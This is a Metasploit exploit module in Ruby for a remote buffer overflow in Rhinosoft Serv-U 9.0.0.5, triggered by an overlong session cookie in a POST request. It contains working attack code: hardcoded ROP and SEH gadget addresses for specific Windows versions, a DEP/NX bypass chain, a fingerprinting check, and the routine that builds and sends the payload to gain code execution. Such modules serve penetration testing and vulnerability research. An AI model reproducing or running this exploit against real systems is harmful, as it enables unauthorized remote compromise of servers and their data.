##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Rhinosoft Serv-U Session Cookie Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5.
        Sending a specially crafted POST request with an overly long session cookie
        string, an attacker may be able to execute arbitrary code.
      },
      'Author'         =>
        [
          'Nikolas Rangos <nikolaos[at]rangos.de>',
          'M.Yanagishita <megumi1990[at]gmail.com>',
          'jduck'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-4006' ], # unsure
          [ 'OSVDB', '59772' ],
          [ 'URL', 'http://rangos.de/ServU-ADV.txt' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          #'Space'    => 512,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
          'StackAdjustment' => -4096,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2003 SP2 English (NX)',
            {
              'FixESP'	=> 0x0fb02849, 	# add esp, 0x40c / ret 		@libeay32
              'FixESI'	=> 0x78a31e96, 	# pop esi / ret			@mfc90u.dll
              'FixEBP'	=> 0x78a4ae99, 	# push esp / pop ebp / ret 0xc 	@mfc90u.dll
              'Ret'		=> 0x78a3e987, 	# ret 0x20			@mfc90u.dll
              'DisableNX'	=> 0x7c83f547,	# NX Disable			@ntdll.dll
              'JmpESP'	=> 0x78b2c753	# jmp esp			@mfc90u.dll
            }
          ],

          [ 'Windows 2000 SP4 and XP SP3 English (SEH)',
            {
              'Ret'	=> 0x0fb870bd		# pop pop ret			@libeay32.dll
            }
          ],
        ],

      'DefaultTarget'  => 1,
      'DisclosureDate' => '2009-11-01'))

      register_options( [ Opt::RPORT(80) ])

  end

  def check
    connect
    sock.put("\r\n\r\n") # works
    res = sock.get_once
    disconnect

    if (res.to_s =~ /Server: Serv-U\/9\.0\.0\.5/)
      return Exploit::CheckCode::Appears
    elsif (res.to_s =~ /Server: Serv-U/)
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    # hit end of stack..
    sploit = Rex::Text.rand_text(1000) * 75

    if (target.name =~ /NX/)

      # new SEH handler (point esp into buffer)
      sploit[41000,4] = [target['FixESP']].pack('V')

      # stack frame to bypass NX
      sploit[52+0,4] = [target['FixESI']].pack('V')
      sploit[52+4,4] = [0x10200].pack('V')
      sploit[52+8,4] = [target['FixEBP']].pack('V')
      sploit[52+12,4] = [target['Ret']].pack('V')
      sploit[52+16,4] = [target['JmpESP']].pack('V')
      sploit[52+20,4] = [target['DisableNX']].pack('V')
      sploit[52+24,2] = "\xeb\x20"
      sploit[52+40,payload.encoded.length] = payload.encoded

    else

      seh = generate_seh_record(target.ret)
      sploit[40996,seh.length] = seh
      sploit[41004,payload.encoded.length] = payload.encoded

    end

    req =  "POST / HTTP/1.1\r\n"
    req << "Host: #{rhost}:#{rport}\r\n"
    req << "Cookie: Session=_"
    req << sploit.unpack('H*')[0]
    req << "\r\n"
    req << "\r\n";

    connect
    print_status("Trying target #{target.name}..." % target['Ret'])
    sock.put(req)

    select(nil, nil, nil, 1.5)
    handler
    disconnect
  end
end
